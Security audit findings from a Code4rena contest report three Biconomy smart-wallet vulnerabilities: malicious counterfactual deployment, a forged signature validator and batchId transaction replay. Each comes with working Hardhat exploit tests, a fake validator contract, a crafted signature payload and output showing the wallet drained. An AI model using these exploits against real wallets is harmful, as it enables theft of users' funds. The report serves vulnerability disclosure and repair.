Biconomy - Smart Contract Wallet contest - Haipls's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L34 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L43

Vulnerability details

Links to affected code: https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33:45

---

Vulnerability details:

Short issue description:

Since anyone can deploy SmartWalelt for anyone on another chain (for those who do not yet have a wallet) and can change the entryPoint and handler parameters during deployment, can access the funds of someone else's wallet. Because Wallet addresses are counterfactual in nature (you can know the address in advance and users will have the same address across all EVM chains) and somebody can transfer direct or by mistake, funds to not deployed wallet address. An attacker can deploy his own wallet to the user's wallet address and withdraw all funds, change of owner, impersonating someone else.

This bug is identical to the hack that happened with Optimism.

Impact

• Loss of funds
• Change of owner
• Any actions with the wallet
• Everything that follows from the above points

---

Tools Used

https://github.com/code-423n4/2023-01-biconomy/ hardhat

---

Recommended Mitigation Steps

• Create whitelist for address _entryPoint, address _handler or add this parameters to calculate of salt for deploy contract

Proof of Concept

Let's now analyze in detail why it's possible:

We have next code for deploy wallet:

function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
    bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
    bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
    }
    require(address(proxy) != address(0), "Create2 call failed");
    // EOA + Version tracking
    emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index);
    BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
    isAccountExist[proxy] = true;
}

Has the following highlights:

• anyone can call deployCounterFactualWallet
• _owner, _entryPoint, _handler, _index transfer by parameters
• ONLY _owner and _index used in calculate salt

How can this be used?:

We can deploy Smart Wallet for any user, with our entryPoint and handler smart contract, then just wait for transfer funds to deployed address or transfer immediately if funds present on deployed address

---

To confirm the issue, we have 2 points that should be explained and confirmed

1. How can a user find out which wallet to deploy in order to make a profit: This can be done in the following way:

• Track the creation events on one network, create with the corresponding _owner, _index on the other network

• Track the creation transaction in the tx mempool, send a creation transaction with more gas to bypass it This will be easy to do where wallet creation occurs with a direct call to deployCounterFactualWallet

  Example: I tracked the creation of a wallet by the user - transaction_link: Smart Wallet address: 0x4a2F2a0d936c0532175E8cc3E04467AD49dc706A Created a wallet on another network for him just by substituting another entryPoint і handler - tx

  Further actions on test networks were not carried out due to the non-disclosure of the issue

  From the transactions, we have that we can substitute any entryPoint and handler, so we will use this issue:

IMPORTANT: Attacker can user fake entryPoint or handler to do any action in SmartWallet

Example of worst case scenario:

• Attacker set fake entryPoint
• Attacker call fake entryPointsmart contract which will call execFromEntryPoint and do delegateCall and change owner

But due to lack of time, I provide tests that confirm a slightly lower weight issue: For example go change handler to just token address and recive tokens from SmartWallet Test for check it:

it("get all tokens from SmartWallet by fakeHandler", async function () {
    const owner = accounts[0];
    const attacker = accounts[10];

    const SmartWallet = await ethers.getContractFactory("SmartAccount");
    const baseImpl = await SmartWallet.deploy();
    await baseImpl.deployed();

    const WalletFactory = await ethers.getContractFactory(
      "SmartAccountFactory"
    );
    const walletFactory = await WalletFactory.deploy(baseImpl.address);
    await walletFactory.deployed();

    const EntryPoint = await ethers.getContractFactory("EntryPoint");
    const entryPoint = await EntryPoint.deploy();
    await entryPoint.deployed();

    // Send funds to not deployed wallet
    const expectAddress = await walletFactory.getAddressForCounterfactualWallet(
      owner.address,
      0
    );
    await token
      .connect(owner)
      .transfer(expectAddress, ethers.utils.parseEther("1000000"));
    console.log(
      "-Balances: owner- %d USDT, userSCW - %d USDT, attacker - %d USDT",
      ethers.utils.formatEther(await token.balanceOf(owner.address)),
      ethers.utils.formatEther(await token.balanceOf(expectAddress)),
      ethers.utils.formatEther(await token.balanceOf(attacker.address)),
    );

    console.log("Deploy smart wallet from attacker");
    let deployedAddress = await walletFactory.connect(attacker).callStatic.deployCounterFactualWallet(
      owner.address,
      entryPoint.address,
      token.address,
      0
    );
    await walletFactory.connect(attacker).deployCounterFactualWallet(
      owner.address,
      entryPoint.address,
      token.address,
      0
    );
    console.log("Call fallback and attack function from fake handler");
    expect(expectAddress).to.be.equal(deployedAddress)

    let ERC20 = await ethers.getContractFactory("ERC20")
    let smartWallet = await ERC20.attach(expectAddress)
    await smartWallet.connect(attacker).approve(attacker.address, await token.balanceOf(expectAddress))
    await token.connect(attacker).transferFrom(expectAddress, attacker.address, await token.balanceOf(expectAddress))
    console.log(
      "-Balances: owner- %d USDT, userSCW - %d USDT, attacker - %d USDT",
      ethers.utils.formatEther(await token.balanceOf(owner.address)),
      ethers.utils.formatEther(await token.balanceOf(expectAddress)),
      ethers.utils.formatEther(await token.balanceOf(attacker.address)),
    );
  });

Result:
-Balances: owner- 0 USDT, userSCW - 1000000 USDT, attacker - 0 USDT
Deploy smart wallet from attacker
Call fallback and attack function from fake handler
-Balances: owner- 0 USDT, userSCW - 0 USDT, attacker - 1000000 USDT

---

• 2. How can the user take advantage of the fact that he has deployed a contract with his parameters? He can substitute his own handler, entryPoint contract that will allow you to perform any actions on this address He can impersonate the owner as he can confirm by actions from this address

An example where it worked

• The historical issue with multisig optimism wallet
• User A gives their own address to a friend, but the smart wallet is deployed on another network. A friend sends 10,000 USDT to the address. The attacker handled the transfer, deployed User A smart wallet, and recive all funds

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L196 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L218 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L312

Vulnerability details

---

Vulnerability details:

Short issue description:

Since the ISignatureValidator contract is taken from the signature that the user passes. He can pass his ISignatureValidator and make any signature valid, and as a result perform any transaction, because the user can set the address of ISignatureValidator in the signatures parameter

---

Impact

• Worst cases: Collection of all funds and transfer of ownership over the contract
• Execute any transactions
• Repetition of all passed transactions
• Loss of funds
• Excessive refund payment
• Everything that follows from the above points

---

Tools Used

https://github.com/code-423n4/2023-01-biconomy/ hardhat

---

Recommended Mitigation Steps

• whitelist ISignatureValidator
• remover functionality

Proof of Concept

Let's now analyze in detail::

The execTransaction and checkSignatures method has the following highlights::

• Transfer signatures a separate parameter

• call checkSignatures with passed signatures field

• split signatures

• get _signer from r

• more gate for s

• call isValidSignature from _signer

Let's bypass all the gates for s and substitute our _signer To pass signature validation, we can use the following signatures:

const fakeSignature = ethers.utils.hexZeroPad(fakeImpl.address, 32) + "0000000000000000000000000000000000000000000000000000000000000041" 
+ "00" + "0000000000000000000000000000000000000000000000000000000000000000"

• ethers.utils.hexZeroPad(fakeImpl.address, 32) - address of attacker to standart r bytes format

• 0000000000000000000000000000000000000000000000000000000000000041 - selected s for passed all gates

• 00 - selected v for go to inner first if for check contract signature

• 0000000000000000000000000000000000000000000000000000000000000000 - selected contractSignature for passed all gates

Then we need create Attacker contract like next:

pragma solidity 0.8.12;

contract FakeSignatureValidator {
    function isValidSignature(bytes memory _data, bytes memory _signature) public view virtual returns (bytes4) {
        return 0x20c13b0b;
    }
}

Now we simulate the situation which we want to test: User A created SmartAccount, 10,000 USDT was deposited into the contract Attacker created a fake signature and received all USDT from contract (Attacker can execute any transactions)

---

Tests

Tests proving the issue were added at the end project test file with the removal of other tests present in it) Tests:

  it("Fake signature issue", async () => {
    const owner = accounts[0];
    const attacker = accounts[10];
    await token
      .connect(owner)
      .transfer(userSCW.address, ethers.utils.parseEther("10000"));
      console.log(
        "-Balances: owner- %d, userSCW - %d, attacker - %d",
        ethers.utils.formatEther(await token.balanceOf(owner.address)),
        ethers.utils.formatEther(await token.balanceOf(userSCW.address)),
        ethers.utils.formatEther(await token.balanceOf(attacker.address))
      );
    const safeTx = buildSafeTransaction({
      to: token.address,
      value: 0,
      nonce: await userSCW.getNonce(0), // doesn't matter,
      targetTxGas: 1234,
      data: encodeTransfer(
        attacker.address,
        ethers.utils.parseEther("10000").toString()
      ),
      operation: 0,
    });

    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };

    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };

    const FakeSignatureValidator = await ethers.getContractFactory(
      "FakeSignatureValidator"
    );
    let fakeImpl = await FakeSignatureValidator.deploy();
    await fakeImpl.deployed();

    const fakeSignature =
      ethers.utils.hexZeroPad(fakeImpl.address, 32) +
      "0000000000000000000000000000000000000000000000000000000000000041" +
      "00" +
      "0000000000000000000000000000000000000000000000000000000000000000";

    await expect(
      userSCW.connect(attacker).execTransaction(
        transaction,
        0,
        refundInfo,
        fakeSignature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    console.log(
      "-Balances: owner- %d, userSCW - %d, attacker - %d",
      ethers.utils.formatEther(await token.balanceOf(owner.address)),
      ethers.utils.formatEther(await token.balanceOf(userSCW.address)),
      ethers.utils.formatEther(await token.balanceOf(attacker.address))
    );

    expect(await token.balanceOf(attacker.getAddress())).to.equal(
      ethers.utils.parseEther("10000")
    );
  });

Results

-Balances: owner- 990000, userSCW - 10000, attacker - 0
-Balances: owner- 990000, userSCW - 0, attacker - 10000

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L192 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L194 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L205 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L212

Vulnerability details

Links to Affected Code: https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L192:219

---

Vulnerability details:

Short issue description:

By passing the batchId field in the function parameters execTransaction users have the opportunity to change the nonce to the one required for the signature, which later results in the opportunity to repeat the entire history of transactions made through execTransaction n-times, since you can put the desired nonce in the transaction again to repeat it

---

Impact

• Repetition of all passed transactions
• Loss of funds
• Excessive refund payment
• Everything that follows from the above points

---

Tools Used

• https://github.com/code-423n4/2023-01-biconomy/
• hardhat

---

Recommended Mitigation Steps

• Pass batchId and nonce into signature

Proof of Concept

Let's now analyze in detail::

The execTransaction method has the following highlights:

• Transfer batchId a separate parameter

function execTransaction(
    Transaction memory _tx,
    uint256 batchId,  //<--- Here
    FeeRefund memory refundInfo,
    bytes memory signatures
) public payable virtual override returns (bool success) {

• Declarate and initialization the txHashData in which is inserted nonce depending on the batchId

bytes memory txHashData =
    encodeTransactionData(
    // Transaction info
        _tx,
        // Payment info
        refundInfo,
        // Signature info
        nonces[batchId] // <-- Here
    );
    // Increase nonce and execute transaction.
    // Default space aka batchId is 0
nonces[batchId]++;
txHash = keccak256(txHashData);
checkSignatures(txHash, txHashData, signatures);

---

Now we simulate the situation: User A created ```SmartAccount''', 10,000 USDT was deposited into the contract User A created a signature and through the service executed the first transaction to transfer 500 USDT to User B After that, User B repeated the first transaction 19 more times, taking all funds from the contract

---

Why did this happen? We analyze this situation with the states of the contract:

• Before the second point, the status of the contract is as follows

nonces[0] = 0
nonces[1] = 0
nonces[...] = 0

• The user signed a transaction where batchId equal to 0 was used (standard batchId), and signed a transaction where nonce with batchId[0] is zero, after the transaction the state is as follows

nonces[0] = 1
nonces[1] = 0
nonces[...] = 0

---

• User B takes the execution parameters of the first transaction and simply set the batchId equal to 1, now the nonce for the signature is correct and the transaction will be sent, the state after 1 iteration of UserB

nonces[0] = 1
nonces[1] = 1
nonces[...] = 0

• User Can repeat the first transaction as many times as needed by replacing only the batchId,

Also, this applies to all transactions, not only the first one, the user will only need to raise nonces on other batchIds to reach that nonce to perform the transaction again

Example: The user wants to redo a transaction with nonce 23, but other batchIds have never been used, so he should redo the entire history of transactions only with batchId 1, etc.

Tests

Tests proving the issue were added at the end project test file with the removal of other tests present in it) Tests:

  it("repeat first transaction from attacker", async function () {
    let owner = accounts[0];
    let attacker = accounts[10];

    await token
      .connect(owner)
      .transfer(userSCW.address, ethers.utils.parseEther("10000"));
    console.log(
      "Balances: owner- %d, userSCW - %d, attacker - %d",
      ethers.utils.formatEther(await token.balanceOf(owner.address)),
      ethers.utils.formatEther(await token.balanceOf(userSCW.address)),
      ethers.utils.formatEther(await token.balanceOf(attacker.address))
    );
    console.log(
      "Batch nonces: batch[0] = %d; batch[1] = %d;",
      await userSCW.getNonce(0),
      await userSCW.getNonce(1)
    );
    const safeTx: SafeTransaction = buildSafeTransaction({
      to: token.address,
      data: encodeTransfer(attacker.address, ethers.utils.parseEther("500").toString()),
      nonce: await userSCW.getNonce(0),
    });

    const chainId = await userSCW.getChainId();
    const { signer, data } = await safeSignTypedData(
      owner,
      userSCW,
      safeTx,
      chainId
    );

    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };

    let signature = "0x";
    signature += data.slice(2);
    console.log("Owner tx: ...", "batchId:", 0, "refundIndo: ..., signature ..." )
    await expect(
      userSCW.connect(owner).execTransaction(
        transaction,
        0, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    console.log(
      "Balances: owner- %d, userSCW - %d, attacker - %d",
      ethers.utils.formatEther(await token.balanceOf(owner.address)),
      ethers.utils.formatEther(await token.balanceOf(userSCW.address)),
      ethers.utils.formatEther(await token.balanceOf(attacker.address))
    );
    console.log(
      "Batch nonces: batch[0] = %d; batch[1] = %d;",
      await userSCW.getNonce(0),
      await userSCW.getNonce(1)
    );
    console.log("Attacker repeat first transaction")
    
    let strBatchIds = "Batch nonces: batch[0]-" + await userSCW.getNonce(0)

    for (let i = 1; i < 5 ; i++){
    console.log("Attacker tx: ...", "batchId:", i, "refundIndo: ..., signature ..." )

      await expect(
        userSCW.connect(attacker).execTransaction(
          transaction,
          i, // batchId
          refundInfo,
          signature
        )
      ).to.emit(userSCW, "ExecutionSuccess");
      console.log(
        "-Balances: owner- %d, userSCW - %d, attacker - %d",
        ethers.utils.formatEther(await token.balanceOf(owner.address)),
        ethers.utils.formatEther(await token.balanceOf(userSCW.address)),
        ethers.utils.formatEther(await token.balanceOf(attacker.address))
      );
      strBatchIds += `; batch[${i}]-${await userSCW.getNonce(i)}`
      console.log("-" + strBatchIds + `; batch[${i + 1}]-${await userSCW.getNonce(i+1)}`)
    }

  });

Results

Balances: owner- 990000, userSCW - 10000, attacker - 0
Batch nonces: batch[0] = 0; batch[1] = 0;
Owner tx: ... batchId: 0 refundIndo: ..., signature ...
Balances: owner- 990000, userSCW - 9500, attacker - 500
Batch nonces: batch[0] = 1; batch[1] = 0;
Attacker repeat first transaction
Attacker tx: ... batchId: 1 refundIndo: ..., signature ...
-Balances: owner- 990000, userSCW - 9000, attacker - 1000
-Batch nonces: batch[0]-1; batch[1]-1; batch[2]-0
Attacker tx: ... batchId: 2 refundIndo: ..., signature ...
-Balances: owner- 990000, userSCW - 8500, attacker - 1500
-Batch nonces: batch[0]-1; batch[1]-1; batch[2]-1; batch[3]-0
Attacker tx: ... batchId: 3 refundIndo: ..., signature ...
-Balances: owner- 990000, userSCW - 8000, attacker - 2000
-Batch nonces: batch[0]-1; batch[1]-1; batch[2]-1; batch[3]-1; batch[4]-0
Attacker tx: ... batchId: 4 refundIndo: ..., signature ...
-Balances: owner- 990000, userSCW - 7500, attacker - 2500
-Batch nonces: batch[0]-1; batch[1]-1; batch[2]-1; batch[3]-1; batch[4]-1; batch[5]-0

Struct of tests for repeat